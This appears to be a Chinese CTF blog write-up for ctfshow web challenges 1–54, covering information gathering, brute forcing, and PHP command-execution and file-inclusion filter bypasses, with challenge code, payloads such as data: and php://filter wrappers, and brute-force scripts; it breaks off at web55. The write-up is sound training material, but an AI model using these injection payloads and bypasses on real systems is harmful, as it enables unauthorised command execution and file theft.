信息搜集

web1[html]

查看源码

file

ctfshow{874c4342-435b-40e6-96a7-b37ddf723161}

web2[html]

无法右键，直接Ctrl+U或者地址栏开头加上view-source:。

file

ctfshow{a3bc8e02-09ce-4cc2-a429-72bd55d9b3f0}

web3[header]

分析流量

file

ctfshow{823de946-8869-473e-8a99-82ca91f4085b}

web4[robots.txt]

查看robots.txt

建议加个收藏夹js，方便快速打开：javascript:window.location = document.location.protocol + "//" + document.location.host + "/robots.txt";

file

file

ctfshow{12de0686-8909-4772-a2b6-b05c55b74215}

web5[.phps]

访问./index.phps

file

ctfshow{07083375-5d54-4ca9-8fcf-001f8c8cba32}

web6[www.zip]

访问./www.zip

file

发现存在fl000g.txt，访问./fl000g.txt

file

ctfshow{1034d16a-721d-4805-83a7-0446a9aa0e5c}

web7[.git/]

访问./.git/

file

ctfshow{63f0f59c-697d-48de-bd60-d9da6f49c7d5}

web8[.svn/]

访问./.svn/

file

ctfshow{daf35dcb-81bf-43a0-8d79-797f16e84555}

web9[.swp]

访问./index.php.swp

file

ctfshow{d3d4c281-86c4-464b-a2ae-6fa6d01b2907}

web10[cookie]

查看cookie，我这用的是Web Developer

file

ctfshow{afbdb2ad-1b92-4f2b-ac21-b3c3358a7500}

web11[域名txt解析]

nslookup -qt=TXT ctfshow.com

file

flag{just_seesee}

web12[社工]

访问./admin/，发现需要登录，猜测用户名为admin，密码为首页页尾的372619038

file

file

ctfshow{e5c0e24d-f03d-4df9-b4db-3b3f3734fc53}

web13[建站模板]

发现页尾存在文档

file

file

按文档指引访问./system1103/login.php，用admin/admin1103登录

file

ctfshow{463d8523-8432-4297-b738-27d9fb837068}

web14[KindEditor 4.1.11]

漏洞前提：配置的文件空间目录不存在

访问./editor/，点击插入文件，选择文件空间，在/var/www/html/nothinghere/fl000g.txt找到flag

file

于是访问./nothinghere/fl000g.txt

file

ctfshow{04cc465c-cbf8-4244-824a-284c038f66f5}

web15[社工]

访问./admin/，发现可以忘记密码

file

file

根据首页底部的qq邮箱查找qq发现资料显示陕西 西安 新城区

file

于是一个一个试过去，使用西安成功重置密码为admin7789，登录

file

ctfshow{f2779cd5-a648-4ac4-bd00-4f38437d7aad}

web16[php探针]

访问./tz.php发现存在探针

file

找到phpinfo选项

file

file

ctfshow{5462980d-256a-470a-a818-b9e19ab09fc6}

web17[域名历史解析]

随便找个能查IP History的网站，我用的是https://viewdns.info/iphistory/

排除掉上一任的解析，以及服务商的国外解析，剩下的第一个IP即为一般情况下的真实IP

file

flag{111.231.70.44}

web18[js]

看一下js，发现分数判定

602163993a514.png

控制台跑一下得到线索110.php

602163ec1a2c0.png

6021641fc3a85.png

ctfshow{326d5b86-f2f6-4b58-a63f-5c4017a1dcfe}

web19[源码注释]

查看html，发现注释未删，可知账号admin，密码的话咋看都是加密过的

602164ae537b2.png

往上看post的代码，发现是aes-cbc加密，密钥和偏移都给了，解就完事

602165861b99e.png

6021660f17b76.png

拿解出来的密码登录

60216630720b7.png

ctfshow{ae62164b-4665-4385-99c3-2637a245f6c6}

web20[.mdb]

访问./db/db.mdb发现文件

6021672422c2f.png

flag{ctfshow_old_database}

爆破

web21[Base Auth]

burp爆就完事，不过要注意burp的过滤并不会自动刷新结果，需要手动再过滤一下

60216dcb9b8f5.png

60216d9803080.png

ctfshow{67950f5e-5f73-4ed1-a3b4-3f6b176784fd}

web22[子域名]

这题裂了，以后再说

web23[php基础]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: [email protected]
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

写个脚本爆破就完事

<?php
function fuck() {
    foreach (str_split("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") as $i){
    foreach (str_split("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") as $j){
        $Gtoken = $i.$j;
        $token = md5($Gtoken);
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
                return $Gtoken;
            }
        }
    }
    }
    return "";
}

echo fuck();
// ZE

file

ctfshow{f16c4894-48b4-41dd-bf26-e6c3a45a8af8}

web24[mt_srand]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?> Linux version 4.15.0-134-generic (buildd@lgw01-amd64-035) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 Linux version 4.15.0-134-generic (buildd@lgw01-amd64-035) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021

php的随机数是根据种子数生成的，所以知道种子数相当于知道了后续所有随机数序列。

<?php
mt_srand(372619038);
echo mt_rand();
//1155388967

file

web25[mt_srand]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 4.15.0-134-generic (buildd@lgw01-amd64-035) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 Linux version 4.15.0-134-generic (buildd@lgw01-amd64-035) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021

先./?r=0得到第一次mt_rand的负值748251799

file

然后用php_mt_seed`爆破种子数吧

file

得到六个对应不同系统环境的种子数，因为上一题我是在php7环境算的，没问题，所有就拿php7去验算一遍。

<?php
function fuck($i){
    mt_srand($i);
    $f = mt_rand();
    if ($f == 748251799){
        return mt_rand()+mt_rand();
    }
}

echo fuck(1448670724)."n";
echo fuck(1448670725)."n";
echo fuck(575534922)."n";
echo fuck(608125702)."n";
echo fuck(2575729271)."n";
echo fuck(2656555094)."n";
//3356577139
//1337536129

然后设一下cookie访问./?r=748251799，在token=3356577139的时候得到flag

file

file

ctfshow{38496b53-16d2-40de-b529-af298b6c4b4a}

web26[抓包]

file

这题很奇怪，直接抓包就能出

file

ctfshow{a0bd74a4-1739-4053-bb15-0a35f5bef6b7}

web27[账号收集]

file

打开发现是个教务系统，首先想着能不能利用下面公开的学生信息直接搞到账号密码

file

file

然后试着用身份证的验算位去爆破合法身份证

file

def checkIDNumber(num_str):
    str_to_int = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5,
                  '6': 6, '7': 7, '8': 8, '9': 9, 'X': 10}
    check_dict = {0: '1', 1: '0', 2: 'X', 3: '9', 4: '8', 5: '7',
                  6: '6', 7: '5', 8: '4', 9: '3', 10: '2'}
    assert len(num_str) == 18
    check_num = 0
    for index, num in enumerate(num_str):
        if index == 17:
            right_code = check_dict.get(check_num % 11)
            if num == right_code:
                return True
            else:
                return False
        check_num += str_to_int.get(num) * (2 ** (17 - index) % 11)

import requests

if __name__ == '__main__':
    for year in range(1990, 2000):
        for month in range(1, 13):
            for day in range(1, 32):
                # print(str(year) + ("0" + str(month))[-2:] + ("0" + str(day))[-2:])
                num_str = '621022' + str(year) + ("0" + str(month))[-2:] + ("0" + str(day))[-2:] + '5237'
                if checkIDNumber(num_str):
                    data = {
                        'a':'高先伊',
                        'p':num_str,
                    }
                    r = requests.post("http://9b942f9a-035b-41a3-9a76-2519aec7e97e.chall.ctf.show:8080/info/checkdb.php", data= data).json()
                    if(r['0'] != "error"):
                        print(num_str)
                        print(num_str)

file

file

ctfshow{02c2feb9-db89-44c6-9e81-eec7c6e50d77}

web28[目录爆破]

这题其实刚开始比较懵逼，因为知道是爆破文件位置但是这无异于大海捞针，当时做的时候没有hint，爆了三四种路径格式才成功。现在直接照着hint给的格式爆就完事

from requests import get

def fuck():
    for i in range(0, 100):
        for j in range(0, 100):
            print(i, j)
            if get(f"http://d9773c5c-6f71-49ac-b19d-5237a0c9d268.chall.ctf.show:8080/{i}/{j}/", allow_redirects=False).status_code != 403:
                return f"http://d9773c5c-6f71-49ac-b19d-5237a0c9d268.chall.ctf.show:8080/{i}/{j}/"

if __name__ == '__main__':
    print(fuck())
# http://d9773c5c-6f71-49ac-b19d-5237a0c9d268.chall.ctf.show:8080/72/20/

file

file

ctfshow{60b39b18-e70c-4cd0-a5e4-7deb336af1f6}

命令执行

web29[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

方法很多，这里给两种操作。(由于浏览器的html解析逻辑，会把php当成注释处理，所以一定要记得看html以保证看到的是真的返回)

// payload
列文件
?c=echo%20`ls`;
?c=eval($_GET['d']);&d=echo `ls`;
读文件
?c=echo `cat fla*`;
?c=echo `cat fla?.php`;
?c=eval($_GET['d']);&d=echo `cat flag.php`;

ctfshow{1d5d8d07-8623-4437-80f2-5a2454b9f36d}

web30[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题payload可以直接用上一题的，因为咱们用`替代了system，至于php这个文件名的屏蔽，上面payload有两句都是不包含php的。

ctfshow{bb6d3fc9-9491-46bd-884b-1c7a4fd2c15f}

web31[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题把空格 和单引号'给过滤了，所以上面的payload都不顶了，不过问题不大，制表符%09可以代替空格。至于对cat，用more、less、/bin/ca*都是可以的。

// payload
列文件
?c=echo%09`ls`;
读文件
?c=echo%09`/bin/ca*%09fla*`;

file

ctfshow{e5fee8d7-6729-483c-b282-d1fe07c3c63c}

web32[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题把反引号给过滤了，直接裂开，想用其他命令执行的都行似乎都得带个括号，但括号(也被过滤了，于是上网找了个include，不过include里的echo啥的不会成功，所以得配合php://filter/convert.base64-encode/伪协议来搞；然后关于;的过滤，可以使用?>来结束语句。

// payload
?c=include%09$_GET["wkr"]%09?>&wkr=php://filter/convert.base64-encode/resource=flag.php

file

ctfshow{6ddf6f3a-5f47-4b76-a939-4903d296da57}

web33[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题把双引号"给过滤了，但是_GET和_POST是可以传参数字的（而且好像并不是数组）。

// payload
?c=include%09$_GET[0]%09?>&0=php://filter/convert.base64-encode/resource=flag.php

file

ctfshow{70ff7b7b-8b0f-498b-81b9-b971e78a1469}

web34[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题过滤并不影响咱的payload，直接冲

file

ctfshow{5f2e031b-7c89-452d-833d-8069afba4c95}

web35[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题的过滤还是不影响咱的payload，继续冲

file

ctfshow{eca6a1bc-18c7-4409-8a19-b8a0a14e2c90}

web36[eval+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题把数字也给过滤了，有点难受了，不过咱可以算个数字出来，比如说e-e=0

// payload
?c=include%09$_GET[e-e]%09?>&0=php://filter/convert.base64-encode/resource=flag.php

file

ctfshow{57217558-e66d-4a60-a5ee-5771f33e744a}

补充：上面是我想复杂了，_GET和_POST是可以不用引号直接传字符串的...

web37[include+过滤]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

这题理论上是可以用file://的二次编码做的，即file:///var/www/html/fla%2567.php，但是不知道为啥走不通（可能是我太菜了）

于是用了data:伪协议来命令执行。

// payload
?c=data:text/plain,<?php system("cat fla*");?>

file

ctfshow{7c6fd29a-c002-4a6a-8d2c-b6432d9425d4}

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

这题把php给ban了，不过问题不大，data:是支持好些编码的，这里咱换成base64整（因为不用绕flag过滤了，所以明文用的是<?php system("cat flag.php");?>）。

// payload
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

file

ctfshow{81ef3a4f-0a8d-465e-9a5c-2508c831777e}

web39

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }

}else{
    highlight_file(__FILE__);
}

这题其实和web37差不多，只不过没了echo加了个.php后缀，但是因为咱的payload结尾?>直接截断了，所以有个后缀不影响

file

ctfshow{9e5a4a76-317d-471f-a3e8-a9147fe9b8d6}

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

这题过滤比较离谱，把[给过滤了，导致咱没得用_GET或者_POST了，不过过滤的是中文括号（），所以还能整。

但是整来整去感觉都不太行...于是去参考了羽佬的博客：ctfshow web入门 命令执行部分 （37-40）_羽的博客-CSDN博客

意思看明白了，但是没展开讲。

我就按照我的理解来讲一遍吧。

首先，因为把引号"'给整没了，所以各种命令没法传字符串参数，然后数字[0-9]也给整没了，所以各种命令也没法传数值参数，这就很容易联想到无参命令执行这个概念。

首先，print_r()这个命令能输出各种东西，可以中途调试；读文件的话print(file_get_contents())、show_source()、highlight_file()，然后就想着咋给他传个flag.php进去了，所以就想到了scandir()这个命令，可以返回某个目录的列表数组，但是这玩意是需要传参的，所以咱得想办法整个.出来，正好有个localeconv()可以返回各种本地化数据，其中就有个关于小数点在当地怎么表示的数据，而且就在第一个，所以咱可以直接pos()给他整出来。

file

file

file

这里发现flag.php在第三个，不好取，所以需要array_reverse()来反转数组使得flag.php变成第二个，再使用next()即可取到。

file

file

file

// payload
?c=print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

ctfshow{e73b83eb-3c5c-492d-aa91-4757ec27cc7b}

web41

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这题巨离谱，把字母也给过滤了...测试一下看看还有啥能用吧。

file

有个|能用而且"'都没过滤，所以猜测大概思路是通过位运算搞出命令file_get_contents('flag.php')来执行。

<?php

$u = "";

for($i=0; $i < 128; $i++){
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', chr($i)))
        $u = $u.chr($i);
}

foreach(str_split($u) as $a){
    foreach(str_split($u) as $b){
        if (in_array($a|$b, str_split("file_get_contents('flag.php')")))
            echo ord($a)."\t".ord($b)."\t".($a|$b)."\n";
    };
};

艹还是没想明白 以后回来做吧... TODO

web42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

可以发现是个基础的命令执行，因为后面拼了个输出到虚空，所以需要%0a换行符去截断。

// payload
?c=cat flag.php%0a

file

ctfshow{c30ade73-8d09-4c2c-b1c9-64cc860a42cd}

web43

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ban了个cat，问题不大，随便挑个方法绕过就行。

// payload
?c=more flag.php%0a

file

ctfshow{82c0c4bb-2503-4751-8ee5-0d8b189271ad}

web44

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

继续ban了flag，还是老套路，通配符绕就完事了。

// payload
?c=more fla*%0a

file

ctfshow{7773f489-3b62-485c-9f33-16c430be0c7d}

web45

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ban了个空格，用制表符%09就行。

// payload
?c=more%09fla*%0a

file

ctfshow{0d668d0d-6b9c-4618-99cf-a2241056aa79}

web46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ban了个通配符*，不过问题不大，还有个通配符?能用。

// payload
?c=more%09fla?.php%0a

file

ctfshow{fdcd72e8-44ab-4040-8b7b-2f466a736750}

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这回把cat的各种替代命令都给整了，但是问题不大，可以用通配符来整。

// payload
?c=/bin/ca?%09fla?.php%0a

file

ctfshow{bea37659-7dbb-48b8-8437-d3487769663f}

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload和上题一样，多ban的不影响咱的。

file

ctfshow{2667bf20-5cbd-4eda-ae93-bc3866b6cdef}

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多ban的还是没影响咱的payload，继续冲。

file

ctfshow{976cf5e7-cd38-42e6-9f71-e46271da4b66}

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ban了制表符%09，有点难受，${IFS}和$IFS$9也因为$被ban没法用了，想用<绕的，但是似乎和参数中的通配符会冲突，没法成功，所以将文件名的通配符给换了个绕过方式。

// payload
?c=/bin/ca?<fla\g.php%0a

file

ctfshow{a2b74d90-317d-46d1-837c-9fc4e34444da}

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ban了的不影响咱上一个payload，冲

file

ctfshow{7e9e85e0-6d2b-40e5-a6cf-bcfc979499c4}

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这回把<>给ban了，但是把$给放出来了，好冲。

file

冲了个假flag...

于是去根目录冲一下，发现flag。

// payload
?c=/bin/ca?${IFS}/fla\g%0a

file

ctfshow{2e24bd3f-04a5-4209-af0d-e63c8b87eafd}

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

改一下上一个payload，接着冲。

// payload
?c=/bin/ca?${IFS}fla\g.php

file

ctfshow{eac5716c-4aae-4915-bbdf-ac0dcff01d4a}

web54

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com

*/

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这波正则把我看傻了，我是用正则工具去测试payload的，测了一下才知道?c=/bin/ca?${IFS}fla?.php愣是匹配到.*n.*l.*这个憨批表达式了...所以改改别出现l就行。

// payload
?c=/bin/ca?${IFS}f?ag.php

file

ctfshow{adb8d8c4-4fd4-4257-aab0-12fb723499c6}

web55

<?php

